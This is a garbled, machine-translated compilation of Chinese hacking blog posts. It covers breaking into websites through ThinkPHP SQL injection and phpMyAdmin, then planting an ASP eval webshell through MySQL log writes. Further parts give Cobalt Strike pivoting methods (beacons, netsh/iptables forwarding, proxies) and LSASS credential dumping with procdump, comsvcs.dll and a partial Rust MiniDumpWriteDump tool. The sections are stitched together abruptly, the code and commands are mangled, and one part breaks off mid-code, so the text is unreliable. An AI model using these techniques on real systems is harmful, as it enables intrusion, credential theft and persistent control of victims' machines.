Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863118072

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

このサイトは数ヶ月前から来たため、写真は完成しておらず、それらを補う方法はありません。

私がこの記事を書いていたとき、隣のカップルは拍手し、音は大声で、私は一度心が書かれていませんでした、そして私は少し混乱したかもしれません。また、私たちが安全なときに隣のそのような人々にしばしば出会うのはなぜですか?

既知のターゲットWebサイト

1049983-20231228205024042-1185790497.jpg

顧客は以前にこの種のウェブサイトを提供したことがあるので、私はそれを非常に深く覚えています。この種のWebサイトでは、通常、通常のテストプロセスを直接放棄できます。これは、経験から、Webサイトの主要なWebサイト機能が基本的に脆弱ではないため、サイドステーションからしか開始できないことを示しているためです。

Ctrl+Uは、漏れを見つけることなくJSの波をチェックしました。振り返ってみると、ウェブサイトの右上隅にディスカウントアクティビティホールがあることがわかりました

1049983-20231228205024694-384972596.jpg

ページは開いた後はおなじみのようです

1049983-20231228205025370-542661655.jpg

アクティビティをクリックして、自由にテキストを送信できるように見えました。フィルタリングはありませんでした。私は自信を持ってXSSを入力し、提出しました。しかし、2日が経ち、それは役に立たなかった。私の気分は雲、霧、雨のようでした。

1049983-20231228205026079-996834101.jpg

ただし、以下にレビューの進捗クエリがあることがわかりました。開いた後、ユーザー名を入力するように求められます。ユーザー名を入力したため、データベースに持ち込まれるクエリである必要があります。 「クリッククエリ」を習慣的に追加しました。 10秒が経過し、応答がありませんでした。私は混乱しました。通常および存在しないアカウントテストを入力するとポップアップされますが、単一の引用符を使用したクエリにはまったく応答しません。

F12-Networkでパケットをキャッチしたとき、送信リクエストがあることがわかりました。注入があったことは明らかであり、ページがthinkphpであることがエラーが報告されました。一番下の隅から、バージョンは3.2.3でした。このバージョンは、ポルノからローンプラットフォームまで、HCのお気に入りであり、ほうれん草まで、ThinkPhpのすべてのバージョンです。

1049983-20231228205026757-1898265725.jpg

最初に波を注入してみてください

1049983-20231228205027316-381045247.jpg

SQLMAPは、1つの波で管理者アカウントとパスワードを取得しました。突然、私は背景アドレスがないことに気付き、それを手に入れるのは役に立たなかった。

FOFAは1つの波で実際のIPを取得し、PHPMyAdminサービスがポート999に存在することを発見し、6588にはGuardianとHost MasterというタイトルのASPステーションがあります。ディレクトリブラスト、ポートスキャン、サブドメインマイニング、背景アドレスは見つかりませんでした。

1049983-20231228205027957-1242469807.jpg

OS-Shellは成功しましたが、私が入力したものは何もありませんでした。

SQL-Shellにも同じことが言えます。慎重に観察した後、私はウェブサイトのパスが守護神にインストールされていることを発見しました。

1049983-20231228205028629-561975365.jpg

それは守護神がそれを傍受したのかもしれません。当時、私はこのPHPサイトで衛兵神を使うことが何を意味するのか疑問に思っていました。

10分後にhwshostmasterを見つけるためにバイドゥに行ってから、私がどれほど無知であるかに気づきました。警備員の神は単なるwafではなく、彼はホストマスターと呼ばれる礼拝も持っていて、機能はおそらくphpstudyと同じであることが判明しました。

ローカルインストールを観察すると、ホストマスターがデフォルトでインストールされた後、PHPMyAdminがポート999で開始され、ポート6588がポート6で発売されることがわかりました。

1049983-20231228205029347-347117277.jpg

ターゲットサイトにはphpMyAdminがあるため、SQLMAPを使用して相手のデータベースアカウントとパスワードハッシュを列挙しようとします。

sqlmap –r sql.txt - string='surname' - users - password

SQLMAPはルートとテストを列挙します。ルートパスワードはクラックされていませんが、テストパスワードは1234にクラックされています。ログインに正常に。

1049983-20231228205030057-215667047.jpg

この状況に関しては、Mu Shenの黒と白の日の要約に関する黒と白の日の公式記述には、詳細に書かれた記事があります。 Mu Shenがこの記事を見たら、広告料を支払うように頼んでください。

通常、MySQLデータベース、IntoUoutFile、およびエクスポートログからGetTingshellに2つの方法があります。

注入されたエラーページのファイルアドレスに応じて

1049983-20231228205030723-741784667.jpg

construct statement selece 1 into Outfile 'd:/wwwroot/xxx.com/web/1.txt'エラー#1-ファイルに作成/書き込みできない、許可を持たないでください

1049983-20231228205031295-494446252.jpg

ログの書き込みを使用して、最初にログをオンにしてから、次にログをオンにしてみてください

グローバルgeneral_log_file='d: \\ wwwroot \\ xxx.com \\ web \\ a.php'まだ機能しないようです、私はクラックしました。

1049983-20231228205031948-1438742021.jpg

突然、このwwwrootディレクトリには許可がないので、ガーディアンホストマスターの管理ページはできますか?ローカルにインストールされているホストマスターファイルをめくった後、ホストマスターの管理ページの絶対パスがD: \ hws.com \ hwshostmaster \ host \ webであることを確認できます。

グローバルgeneral_log_file='d: \\ hws.com \\ hwshostmaster \\ host \\ web \\ 1.asp' 'sucededを設定します。

1049983-20231228205032581-565330167.jpg

次に、「%eval request( 'Chopper')%」を選択して、http://xxx.xxx.xxx.xxx:6588/1.ASPエラー404にアクセスします。この問題は長い間困難でした。後で、現在のログファイルにアクセスできるように、ログファイルを他のファイルに置き換える必要があることがわかりました。 CNIFE接続が成功しました

1049983-20231228205033306-373989473.jpg

Whoamiはそれがシステムの許可であることを発見したので、残りは簡単でした。警備員がチェックと殺害を防ぐために、MSFが生成されます。 certutilを介してダウンロードされ、実行されます。 MSFはオンラインで発売され、移行プロセスはloadmimikatzです。 1つのセットの後、リモートアカウントのパスワードを取得し、ズボンを脱いでソースコードを梱包し、顧客に提出しましたが、完了しました。概要:1。メインサイトには抜け穴がありません。サイドステーションでアクションを実行します。ここでは、プロモーションアクティビティの資金調達ホールから、登録ページがあることがわかります。オンラインXSSスクリプトをネストして、管理者Cookie情報を取得することはできますが、Cookie2は取得していません。 Review Progressクエリで、実際のユーザー名を入力して、1回の見積もりを追加します。ページは対応していません。 F12は、ThinkPhpであるページにエラーがあり、バージョンが3.2.33であることを発見しました。 SQLMapを介して注入して、使用するハッシュ値を取得します。ここでは、ルートとテストのハッシュ値を取得します。これにより、テストのハッシュ値を復号化できます。 sqlmap –r sql.txt - -string='surname' - users - password4。 FOFAを介してターゲットWebサイトの対応するIPの他のポートをクエリし、999ビットPHPMYADMINポートと6588ビットエスコートゴッドマネジメントインターフェイスを含むポート999および6588があることを発見しました。 5.テストを通じてphpmyAdminの背景を入力し、注入エラーによって表示されるWebサイトの物理的パスに従って、into intemortメソッドを介してWebShell6に書き込むことができます。最初にWebディレクトリに書き込み、許可がないことを表示します 'd:/wwwroot/xxx.com/web/1.txt'7に1を選択します。ログログをオンにするか、検索するか、General_log_file='d: \\ wwwroot \\ xxx.com \\ web \\ a.php'8を設定します。 wwwrootディレクトリには許可がないため、ガーディアンホストマスター管理ページを使用できますか?ローカルインストールされたホストマスターファイルをめくると、ホストマスターの管理ページの絶対パスがd: \ hws.com \ hwshostmaster \ host \ webであることを確認できます。ログセットGlobal general_log_file='d: \\ hws.com \\ hwshostmaster \\ host \ web \ 1.asp'9を変更してください。次に、[%eval request( 'Chopper')% "を選択します。10。ナイフから正常に接続します

元のテキスト接続から転載: https://mp.weixin.qqc.com/s?__biz=mzg4ntuwmzm1ng==mid=22474860688IDX=2SN=4E32251AAF8C25EFEE653B3314A05A29CHKSM=CFA6A6 7F8D127715B23C7B8403A08CCFAC2E1BFF2AC68030401D54698BCB10CD637A55F7D15SCENE=178CUR_ALBUM_ID=1553386251775492092098#RD

0x01トランスファーマシンがあります

トランスファーマシンがあり、このマシンはネットワークから外れており、これが最も一般的な状況です。

多くの場合、複数のネットワークカードを備えたエッジマシンを取得し、イントラネットマシンはネットワークを離れません。この場合、このエッジマシンを使用して転送してオンラインになります。

トポロジーは、ほぼ次の:です

image-20220516141642261.png

オンライン方法1:SMBビーコン

はじめに

公式ウェブサイトはじめに:SMBビーコンは、親のビーコンを介して通信するために名前付きパイプを使用します。 2つのビーコンが接続されると、子供のビーコンは親のビーコンからタスクを取得し、それを送信します。

接続されたビーコンは通信にパイプという名前のWindowsを使用しているため、このトラフィックはSMBプロトコルにカプセル化されているため、SMBビーコンは比較的隠されており、ファイアウォールを囲むときに奇跡的に機能する可能性があります。

image.png

を使用しています

このビーコンでは、SMBビーコンを持つホストがポート445で接続を受け入れる必要があります。SMBビーコン法を導き出しました。

または、ビーコンでコマンドスポーンSMBを使用します(SMBは私のSMBリスナー名です)

image-20220421232107035.png

プラグインを使用するか、独自のポートでイントラネットマシンをスキャンします

image-20220421234112584.png

表示してターゲットを選択します

image-20220421234143265.png

PSEXECの使用

image-20220421234333884.png

ハッシュを選択し、SMBリスナーと対応するセッションを選択します

image-20220421234419445.png

オンラインになります

image-20220422000337348.png

image-20220422000428622.png

実行が成功した後、キャラクター∞∞は導出されたSMBビーコンである外部で見ることができます。

現在接続されています。LinkIPコマンドを使用してリンクするか、IPコマンドをリンクしてビーコンで切断できます。

image-20220422000410651.png

image-20220422000458483.png

この種のビーコンは、イントラネットの水平浸透に多く使用されています。イントラネット環境では、IPC $によって生成されたSMBビーコンを使用して実行のためにターゲットホストにアップロードできますが、ターゲットホストはオンラインで直接行われません。リンクコマンド(リンクIP)を使用して接続する必要があります。

オンライン方法2:リスナーを転送(逆TCPビーコン)

実際、それはメソッドに似ています

image-20220422000759017.png

以下は自動的に構成されます

image-20220422000840172.png

次に、上記の方法と同様に、イントラネットホストを見つけてアカウントのパスワードを知っていて、水平方向にpsexecを渡すには、トランジットリスナーを選択します

image-20220422001158730.png

image-20220422001452245.png

image-20220422000337348.png

オンライン方法3:HTTPプロキシ

トランジットマシンはオンラインである必要はありません

GoProxy Projectをエージェントとして使用します。プロジェクトアドレス:

https://github.com/snail007/goproxy

プロセス:1。proxy.exeをWebサーバー(エッジホスト)にアップロードし、ポート8080でHTTPプロキシを有効にします

c: \ proxy.exe http -t tcp -p '0.0.0:8080' - daemon

2。NetSHコマンドを使用してトラフィックをリダイレクトして、イントラネットIP 192.168.111.131のポート822にアクセスします(未使用のポートである必要があります。そうでなければ失敗します)

NetshインターフェイスPortProxy Add v4tov4 shisteraddress=192.168.111.131 listenport=822 connectAddress=192.168.1.88 connectport=8080

image-20220516145111513.png

3.リスナーを作成し、次のように構成します

image-20220516163325095.png

4.雄弁なペイロードを生成し、ビジネスサーバーで実行し、オンラインで正常に進む

image-20220516163441748.png

接続プロセス

192.168.111.236→192.168.111.131:822→192.168.1.88:8080→C2(192.168.1.89)

オンライン方法4、TCPビーコン(フォワード)

フォワード接続はSMBビーコンに似ています。親のビーコンサムのビーコンも必要であり、TCPビーコンはコバルトストライクから派生したほとんどのアクションと互換性があります。一部を除いて

明示的なステージャーを必要とするユーザー駆動型の攻撃(たとえば、攻撃→パッケージ、攻撃→Webドライブバイ)。テスト:

TCPビーコンを生成します

image-20220424145301486.png

このビーコンを使用して、トロイの木馬を雄弁に生成します。

image-20220424145438941.png

ターゲットマシンにアップロードして実行します。

image-20220424150129703.png

Connect [IPアドレス] [ポート]コマンドを使用して、トランジットマシンのビーコンに接続してオンラインになります。

image-20220424150307350.png

ビーコンリンクを破壊するには、親または子セッションのコンソールで[IPアドレス] [IPアドレス] [セッションPID]を使用します。その後、同じホスト(または他のホスト)からTCPビーコンに再接続できます。

image-20220424150527311.png

オンライン方法5。Pystingerを使用してプロキシ転送

Pystingerの詳細な使用次の章を参照してください。簡単なデモは次のとおりです。

一般に、Pystingerはこのシナリオでは使用されません

テスト環境:攻撃航空機Kali:192.168.1.35

Webサーバー:192.168.1.70、192.168.111.129

ビジネスサーバー:192.168.111.236

プロセス:1。proxy.phpをWebサーバーWebサイトディレクトリにアップロードし、正常にアクセスするときにUTF-8に戻ります

Webサーバーの外部ネットワークIPは192.168.1.70です

image-20220517181300013.png

stinger_server.exeをアップロードして実行します

Stinger_server.exe 0.0.0.0を開始します

攻撃航空機で実行する(192.168.1.89)

./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000

この時点で、60020ポートオブザWebサーバーは60020 VPSポートに転送されました。

CSの設定を聞くために、HTTPホストはトランジットマシンのイントラネットIPであり、ポートは60020です。

image-20220517181223593.png

psexecを使用して水平に移動し、リスナーをpystingerとして選択するか、ビジネスホストで実行するためにペイロードを直接生成し、ビジネスイントラネットホスト192.168.111.236を正常に起動できます。

image-20220517182051748.png

image-20220517181145075.png

サプリメント:トランスファーマシンはLinux

です

httpプロキシ(トランジットマシンはオンラインである必要はありません)

使用方法は、上記の方法3と同じです。 iptablesを使用して転送するだけです。

Echo 1/proc/sys/net/ipv4/ip_forward

iptables -a Prerouting -P TCP -D 192.168.111.131 - DPORT 822 -J DNAT-滞留192.168.1.88:8080

iptables -a posttrouting -p TCP -D 192.168.1.88 - DPORT 8080 -J SNAT - ソースへ192.168.111.131

テスト:トランスファーマシン(192.168.111.142)

image-20220423214555465.png

攻撃航空機

image-20220423222203087.png

雄弁なペイロードを生成し、ターゲットマシンで実行し、オンラインで正常に進む

image-20220423222359445.png

image-20220423222645751.png

接続プロセス:(再スクリーニングされた画像、ポート変更8080-8081)

image-20220423222847432.png

192.168.111.140→192.168.111.142:8080→192.168.111.142:8081→192.168.111.131:81(C2)(C2)

プロキシ転送にPystingerを使用します

上記の方法5と同様に、Pystinger接続を確立した後、ビジネスホストで実行するためのペイロードを直接生成し、ビジネスイントラネットホスト192.168.111.236を正常に起動できます。

Crossc2

ビーコンは他のマシンを介してLinuxマシンを直接起動できます

image-20220424110511841.png

Crossc2は、LinuxまたはMacOSマシンの起動に使用されます

プロジェクトアドレス:[対応するバージョンを必ずダウンロードしてください]

https://github.com/gloxec/crossc2

構成:

(ここでWindowsでTeamServerを実行しています)

image-20220517214639195.png

HTTPSリスナーを作成します。

image-20220517215034645.png

ペイロードを生成します

(他の方法でも可能です)

image-20220517215228811.png

image-20220424104455547.png

image-20220424104411307.png

生成できない場合は、コマンドラインで直接生成することもできます

image-20220517221232018.png

世代後、Linuxマシンにアップロードし、実行してからオンラインになります。

image-20220517221438333.png

image-20220517221454859.png

CrossC2Kitプラグインをインストールして、ビーコン機能を濃縮します

image-20220517222854932.png

image-20220517222935500.png

イントラネットマシンがCS:リレー付きLinuxマシンで起動された後、上記の方法を使用してイントラネットマシンを起動できます。

TCPビーコン:image-20220517224718810.png

image-20220517224749945.png

ターゲットマシンにアップロードして実行します。

次に、Linuxビーコンの下に接続します。

image-20220517225035484.png

オンラインに行った後、それはブラックボックスになります、チェックインするだけです

上記の2つの方法を使用することをお勧めします。 DNSの

0x02エッジマシンには、ネットワークを出るためのDNSプロトコルのみがあります

序文

lsass.exe(ローカルセキュリティ局のサブシステム

サービスプロセススペースには、マシンのドメイン、ローカルユーザー名、パスワードなどの重要な情報があります。ローカルの高権限を取得すると、ユーザーはLSASSプロセスメモリにアクセスできるため、水平の動きと許可エスカレーションのために内部データをエクスポートできます。 LSAを介したユーザーパスワードまたはハッシュのダンプも、浸透プロセスに不可欠なステップです。ここでは、原則を学び、さまざまな投棄方法を記録します。

[TOC]

一般的な方法

mimikatz :: logonpasswords

通常、これらのツールをLolbinsと呼びます。つまり、攻撃者はこれらのバイナリを使用して、元の目的を超えて操作を実行できます。 Lolbinsでメモリをエクスポートするプログラムに焦点を当てています。

ホワイトリストツール

3つのMicrosoft Signature Whitelistプログラム

procdump.exe

sqldumper.exe

createdump.exe

procdump dump lsass.exeのメモリ

Procdumpは、プロセスメモリの投棄用に提供されるMicrosoft署名された法的バイナリファイルです。 Microsoftドキュメントで公式Procdumpファイルをダウンロードできます

ProcDumpを使用して、LSASプロセスDMPファイルをつかみ、

procdump64.exe -accepteula -ma lsass.exe lsass_dump

その後、使用するMimikatzを構成できます

sekurlsa:3360minidump lsassdump.dmp

sekurlsa:3360logonpasswords

lsass.exeに敏感な場合は、lsass.exe pidで使用することもできます。

procdump64.exe -accepteula -ma pid lsass_dum

この原則は、LSASS.EXEはWindowsシステムのセキュリティメカニズムであり、主にローカルセキュリティおよびログインポリシーに使用されるということです。通常、システムにログインするときにパスワードを入力した後、パスワードはlsass.exeメモリに保存されます。 2つのモジュールをWDigestとTSPKGを呼び出した後、可逆アルゴリズムを使用して暗号化され、メモリに保存されます。 Mimikatz LSASS.EXEの逆の計算により、プレーンテキストパスワードを取得します。

検出と殺害の状況に関して、トルブリンウイルスはスキャンされず、360は13バージョンでは検出されず、14バージョンで検出されたことがわかりました。

sqldumper.exe

sqldumper.exeユーティリティはMicrosoft SQL Serverに含まれています。 SQL Serverのメモリダンプと、デバッグ目的で関連プロセスを生成します。

Sqldumperへの一般的なパスは次のとおりです

C: \ Program Files \ Microsoft SQL Server \ 100 \ shared \ sqldumper.exe

C: \ Program Files \ Microsoft Analysis Services \ as oledb \ 10 \ sqldumper.exe

c: \プログラムファイル(x86)\ microsoft sql server \ 100 \ shared \ sqldumper.exe

sqldumper.exeは、完全なダンプファイルを生成するためにMicrosoft SQLおよびOfficeに含まれています。

TaskList /SVC | findstr lsass.exe lsass.exeのpid数を表示します

sqldumper.exe processid 00x01100エクスポートmdmpファイル

次に、局所的に復号化すると、同じバージョンのオペレーティングシステムを使用する必要があります。

mimikatz.exe 'sekurlsa:minidump sqldmpr0001.mdmp' 'sekurlsa:3360logonpasswords full' exit

360に殺されたタントレンは検出されませんでした

createdump.exe

.NET5の出現により、それはネイティブバイナリ自体です。署名はありますが、AVによって調査され殺されました。

createdump.exe -u -f lsass.dmp lsass [pid]

360によって殺されます

comsvcs.dll

comsvcs.dllは、主にCOM+サービスサービスを提供しています。このファイルはすべてのWindowsシステムで見つけることができ、プロセスの完全なダンプをrundll32を使用して実装して、エクスポート機能minidumpを実行できます。

このファイルはホワイトリストファイルです。主にcomsvsc.dllのエクスポート関数Apiminidumpを使用して、lsass.exeをダンプする目的を達成します。管理者の権限も必要であることに注意してください。 Sedebugprivilegeの許可を有効にする必要があるためです。 CMDでは、この許可はデフォルトで無効になり、PowerShellはデフォルトで有効になります。このファイルは、c: \ windows \ system32 \ comsvcs.dllにあります

次の方法を使用してMinidumpを呼び出してダンピングlsass.exeプロセス:を達成できます

PowerShell C: \ Windows \ System32 \ rundll32.exe C: \ windows \ system32 \ comsvcs.dll、minidump(get-process lsass).id $ env:temp \ lsass-comsvcs.dmp full

360もチェックして殺します。 Apiminidumpを呼び出すことでメモリを直接投棄するこの動作は、依然としてあまりにも敏感です。わずかな変更なしでチェックして殺されるのは簡単です。

他のツール

rdleakdiag.exe

デフォルトの既存のシステム:

Windows10 Windows8.1Windows8 Windows7 WindowsVista

ソフトウェアバージョン10.0.15063.0 6.3.9600.17415 6.2.9200.16384 6.1.7600.16385 6.0.6001.18000

そのようなものがない場合は、渡すことを選択できます。

DMPメモリファイルを生成します

rdrleakdiag.exe /p pid /o outputdir /fullmemdmp /wait 1 rst

結果*+プロセスpid+.hlk、minidump*+プロセスpid+.dmpの2つのファイルが生成されます。次に、Mimikatzを使用して割れます。

avdump.exe

avdump.exeは、Avast Antivirusソフトウェアに付属するプログラムです。指定されたプロセス(lsass.exe)のメモリデータをダンプするために使用できます。 Avast Anti-Soft Digital Signatureが付属しています。したがって、一般的にAVによって殺されません。

住所をダウンロード:https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfodownloadsaveinfodivgoto2

PSで呼び出す必要があります。そうしないと、CMDはデフォルトでSedebugprivilegeの許可を有効にしませんが、360はAvdumpを検出します。\ avdump.exe - pid lsass pid -exception_ptr 0 -thread_id 0 - dump_level 1 - dump_file c: \ uses \ admin \ desktop \ lsass.dmp - min_interval 0

しかし、それは360によっても殺されます。

所有者の編集dll

apiminidumpを呼び出すデモ

これには、Windowsプロセスプログラミングが含まれます。まず、Windowsの下でプロセスを通過する方法を確認できます。プロセスを横断するには、いくつかのAPIと構造が必要です。

1.プロセススナップショットを作成します

2。通過する最初のプロセスを初期化します

3。次のトラバーサルに進みます

4。プロセス情報構造

createToolHelp32SNAPSHOTを使用してプロセスを作成します

winapi createToolhelp32Snapshot(

dword dwflags、//「スナップショット」で返されるオブジェクトを指定するために使用されます。これは、th32cs_snapprocessなどです。

dword th32processid //プロセスID番号を使用して、スナップショットを取得するプロセスを指定します。システムプロセスのリストを取得したり、現在のプロセスのスナップショットを取得したりする場合、0に設定できます。

);

Process32Firstを使用して最初のプロセスハンドルを取得します

bool winapi process32first(

HSNAPSHOT、//_ in、プロセススナップショットハンドル

lpprocessentry32 lppe //_ out、プロセス情報構造を渡すと、システムはあなたのためにそれを埋めます。

);

Process32Nextを使用して次のプロセスを取得します

bool winapi process32next(

hsnapshotを処理し、createToolHelp32SNAPSHOTから返されたハンドル

LPPROCESSENTRY32 LPPEポインターへのProcessEntry32構造、プロセス情報構造

);

また、ProcessEntry32の構造が私たちに役立つものも含まれます。

初期化構造のDwsizeサイズTh32ProcessIDプロセスIDSZEXEXEFILE [MAX_PATH]プロセスパスtypedef struct tagprocessentry32 {

dword dwsize; //構造サイズは、最初の呼び出しの前に初期化する必要があります。

dword cntusage; //このプロセスの参照カウントは0です。プロセスは終了します。

dword th32processid; //プロセスID;

dword th32defaultheapid; //デフォルトのヒープIDを処理します。

dword th32moduleid; //モジュールIDを処理します。

dword cntthreads; //このプロセスが開くスレッドのカウント。

dword th32parentprocessid; //親プロセスID;

長いpcpriclassbase; //スレッドの優先順位;

dword dwflags; //予約済み;

char szexefile [max_path]; //完全なプロセス名;

} processentry32;

したがって、Rustによって実装されたコードは次のとおりです

fn getProcess(){

安全でない{

mut handle=createToolHelp32SNAPSHOT(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD、0);

mut process_entry : processentry32=zeroed();

process_entry.dwsize=std:3360mem:size_of:processentry32()as u32;

//mut process_handle=null_mut();

if!handle.is_null(){

process32first(handle、mut process_entry)==1 {

ループ{

extfileName=osstring3:from_wide(process_entry.szexefile.iter()。map(| x | x as u16).take_while(| x | x 0).collect:vecu16()。as_slice()。

println!( '{:} --------- {:}'、extfileName、process_entry.th32processid);

process32next(handle、mut process_entry)==0 {

壊す;

}

}

}

}

}

}

完全なダンプLSASプロセスメモリのコード

STD: {mem: {size_of}、ffi: {cstr、osstring、c_void、osstr}、OS:WINDOWS:PRELUDE3: { asrawhandle、rawhandle、osstrext}、fs:3:file、path: {path、self}};

STD:3360PTRを使用します。

clap:を使用します{app、arg};

log: {error}を使用します。

windows_sys: {win32: {foundation: {

CloseHandle、getLasterRor、invalid_handle_value、handle、luid、

}、security: {token_privileges、luid_and_attributes、se_privilege_enabled、token_adjust_privileges、lookupprivilegevaluea、adcusttokenprivileges}、system333333333:opentoken、診断:TOOLHELP3360:THS_SNAPTHREAD}、Storage:FilesSystem:3:Createfilea}、Core:PCSTR};

Windows_Sys:WIN32:STORAGE:3360FILESSTEM: {

createfilew、create_always、file_attribute_normal、

};

windows_sys:3:win32:system:3360diagnostics:3360debug: {

minidumpwithfullmemory、minidumpwritedump

};

windows_sys:3:win32:system:3360diagnostics:3360toolhelp: {

CreateToolhelp32Snapshot、Process32First、Process32Next、ProcessEntry32、Th32CS_SNApprocess、

};

Windows_Sys:3:WIN32:SESTEST:3360SYSTEMSERVICES:3360GENERIC_ALL;

Windows_Sys:WIN32:SESTESTESTEM:3360THREADING: {openProcess、process_all_access}を使用してください。

fn getPrivilege(ハンドル:ハンドル){

安全でない{

mut h_token: handle=handle:default();

mut h_token_ptr: *mut handle=mut h_token;

let tkp: token_privileges=token_privileges {

PrivileGecount: 1、

特権: [luid_and_attributes {

luid: luid {

LowPart: 0、

highpart: 0、

}、

属性: SE_PRIVILEGE_ENABLED、

}]、

};

//現在のプロセスのアクセストークンを開きます

token=openProcessToken(handle、token_adjust_privileges、h_token_ptr);

token!=0の場合{

let systemname=ptr:3360null_mut();

lookupprivilegevalueaの場合(

SystemName、

b'sedebugprivilege \ 0'.as_ptr()、

mut tkp.privileges [0] .luid)!=0 {

tkp.privileges [0] .attributes=se_privilege_enabled;

//println!( '{:}'、tkp.privileges [0] .attributes);

//現在のプロセスのSedebugprivilege許可を改善します

adcusttokenprivilegesの場合(

h_token、

0、

tkp as *const token_privileges、

0、

ptr:null_mut()、

ptr:null_mut())!=0 {

println!( 'トークン特権が調整された');

} それ以外{

let_error=getLasterRor();

println!( 'AductTokenPrivilegesがERROR:ステータス({:})'、last_error)で失敗しました。

}

} それ以外{

let_error=getLasterRor();

println!( 'lookupprivilegevalueはerror: status({:})'、last_error)で失敗しました。

}

//アクセストークンハンドルを閉じます

CloseHandle(h_token);

} それ以外{

let_error=getLasterRor();

println!( 'openProcessTokenはERROR:ステータスで失敗しました({:})'、last_error);

}

}

}

fn getProcess(lsassfile : str){

安全でない{

mut h_snapshot=createToolHelP32SNAPSHOT(TH32CS_SNAPPROCESS、0);

h_snapshot==invalid_handle_value {

println!( 'createToolhelp32Snapshot'を呼び出さなかった ');

}

mut process_entry: processentry32=std:mem:3360zeroed3:3360processentry32();

process_entry.dwsize=size_of:3360processentry32()as u32;

process32first(h_snapshot、mut process_entry)==0 {

println!( 'process32first error');

}

ループ{

let extfilename=cstr3:from_ptr(process_entry.szexefile.as_ptr()as *const i8).to_bytes();

extfile=osstring3:from_wide(extfilename.iter()。マップ(| x | x as u16).collect:vecu16()。as_slice()。

extfile.starts_with( 'lsass.exe'){

println!( '[+] got {:} pid: {:}'、extfile、process_entry.th32processid);

壊す;

}

process32next(h_snapshot、mut process_entry)==0 {

println!( 'process32next'を呼び出すことに失敗しました);

壊す;

}

}

let lsass_pid=process_entry.th32processid;

let process_handle=openProcess(process_all_access、0、lsass_pid);

process_handle==0の場合{

println!( 'プロセスを開くことができない');

}

let lsassfile=lsassfile;

lsassfile: vecu16=osstr:new(lsassfile).encode_wide()。チェーン(some(0).into_iter())。collect();

let lsasshandle=createfilew(

lsassfile.as_ptr()as *const u16、

generic_all、

0、

ptr:null_mut()、

create_always、

file_attribute_normal、

0、

);

lsasshandle==invalid_handle_value {

println!( 'file {:}'、lsassfile.to_string());

}

rest=minidumpwritedump(

序文

昨日の真夜中に記事を見ました。

私は自分のスキルを練習していたと思っていましたが、戦いの途中で、マスターはすでにそのような場所を傷つけていることがわかりました。それで、私はマスターの経験から学び、いくつかのエクササイズをして、自分が考えたことは何でも記録しました。そのため、執筆は非常に複雑で、解決策があるかどうかも記録しました。それから私はサイトを変更し、歩き続けました。

情報収集

フロントデスクはこのようなものです

Image

他の情報を見てください

Imageポートクエリ

Image80はメインページ8182です。

Imageカタログのトラバーサル

Image

脆弱性の発見

最初にバックエンドページに移動します

ユーザー名の入力:123プロンプスユーザーが存在しないプロンプトユーザー名を入力します:管理者プロンプトユーザーまたはパスワードが間違っています

管理アカウントを確認すると、確認する検証コードがありません。

直接弱いパスワード管理者123456背景を入力します

Image多くの機能はありませんし、使用するものは何もありません

ログインに戻ってSQLインジェクションを実行します

Image ImageMSSQL、DBA許可、Direct –OS-Shell

Imageここでの最初のマシンはネットワークを離れず、エコーしませんでした。私はあきらめました。いくつかのサイトを検索した後、私はついにリリースされてエコーされたウェブサイトを見つけました(リリースされている限り簡単に解決できました)。

Image

Image

csはオンライン

です

ここでCSを試して、ネットワークがPowerShellをオンラインで直接生成すると判断します

Image Image Image情報を確認し、タスクリストを確認してください

Image現在、それはデータベースの許可です。私は当局を増やそうとしましたが、それは直接切断され、ウェブサイトを開くことができませんでした。注意して使用し、十分な情報を収集し、十分なパッチ情報を収集する必要があります。

Image別のサイトが変更されました。ウェブサイトパスを見つけます

Image最初にウェブシェルを入手してください

ImageGodzillaのサツマイモはシステムに昇格しています

ImageCSプラグインのサツマイモも、権利を正常にアップグレードしました

Image

管理者のパスワードをつかみます

logonpasswords

有料

ImageADDシャドウアカウント、管理者の権限を追加する

Image

パブリックネットワークCSは、FRPを介してイントラネットMSFに行きます

最初の投稿、FRP+CSはローカルKaliシェルを実装します

サーバー(ここは5000です。変更後にスクリーンショットを撮るのを忘れていました)

Imageクライアント

ImageMSF監視を可能にします

ImageCS

Image

後続

トークンを盗んで管理者としてログインできるかどうかを確認してください

getuid //現在のトークン・インコグニットを見る

0x00はじめに

昨年、私はウェイブで買い物をしていました。私はもともと、私のトレース能力を練習するためにいくつかのIPを見つけようとしていましたが、私は誤って豚の殺害ディスクを発見しました。この記事に不足している部分がある場合は、時間内にそれらを指摘してください。このターゲットを再び登場するために私を見つけてワイブに行かないでください。このケースは、完全に担当者に引き渡されました。

0x01簡単なレシピ

Image

リンクを開いたとき、強い「マイクロディスク」オーラがやってくるのを見ました。この一連のソースコードを自分で監査していたので、対応する場所を直接見つけてXSSと呼ばれます。その結果、マイクロディスクが3オープンしたことが判明しました。はい、3オープンしました!

必死になって、私はまだ古いアイデアを使用し、フレームワークレポートをエラーにし、バージョン番号を見て、RCEを通過する方法を見つけます。

Image

バージョン番号と物理的なパスを取得すると、実際には詳細があります。下の写真を見ることができます。

Image

これがserver_nameとserver_addrです。以前に同様のプロジェクトに取り組んでいた状況に遭遇しました。ページのレポートにエラーがあることに応じて供給された2つの情報には、実際のIPが含まれている可能性があります。ターゲットリアルIPが見つからない場合は、このトリックを試すことができます。

誰もが、そのようなターゲット、他のサイドステーション、港、その他のコレクションが役に立たないことを知っているので、詳細は説明しません。

アカウントを登録して見ました。それを使用する意味はありませんでした。この時点で、私は突然、商品/PIDに注入があったことを思い出しました。私たちは以前にそれを打つために私たち自身の日を使ったので、私はこの注入ポイントを使用したことがありませんでした。今日は試してみます。

Image

ビンゴ!これは非常に厄介です。物理的な道を知っているなら、シェルを渡すことができますか?いいえ、それは不可能であり、十分な権限がありません。

しかし、私が見つけたものを見てください!

Image

データベース情報は不可解に表示されているので、直接接続できますか?明らかにそうではありません。なぜなら、外部から接続できないからです。

0x02正しい

膠着状態は約10分間続きました。私が見つけたものを見てください。

Image

ハハハ管理者、どうやってこれを見つけたの?前に、このシステムの最初と2番目のオープニングを監査したことを前に述べました。特定の特定のディレクトリにこのような管理者データベース管理システムがあるので、このターゲットからもファズになり、それを見つけてから接続します。

疑わしいIPを見つけ、信頼性、位置決めなどを確認してください。

Image

